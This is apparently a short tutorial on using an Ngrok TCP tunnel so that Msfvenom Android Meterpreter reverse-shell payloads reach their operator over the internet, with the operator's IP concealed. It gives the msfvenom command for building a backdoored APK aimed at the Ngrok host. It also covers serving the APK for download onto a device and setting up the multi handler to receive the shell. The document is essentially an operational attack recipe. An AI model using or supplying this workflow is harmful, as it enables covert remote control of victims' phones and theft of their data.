How To Setup Port Forwarding For Msfvenom Android Payloads (WAN)
What is Ngrok?
Ngrok is a tunneling, reverse proxy system that establishes secure tunnels from a public endpoint such as the internet to a locally running network service while capturing all traffic for detailed inspection and replay.
So it allows you to expose a port on your computer on the internet, and because it is a reverse proxy it does not expose your IP, it provides you with a URL.
It is most popularly used by Web developers, exposing their local host/web server on the internet to share with others or test.
Issues with traditional Port forwarding
- Many individuals have a static IP or have only one IP assigned to them by their ISP.
- Do not have access to their router admin page – I have made a video on how to do this manually.
- Real port forwarding exposes your computer completely, with your IP
Advantages of Ngrok
- Create TCP Tunnels
- Multiple Tunnels simultaneously
Setting up Ngrok
- Visit website
- Create Account
- Download executable
- Get Auth token from the site and execute the command
- Run binary
- ./ngrok tcp 1234
- Host <Ngrok Url> – to get IP (Not interacting with URL’s)
- Msfvenom -p android/meterpreter/reverse_tcp LHOST=<ngrok IP> LPORT=<NGROK PORT> R > /root/desktop/Payload.apk
- Copy apk to web server and download on device
- Start multi handler and set payload
- Set LHOST 0.0.0.0
- Set LPORT 1234
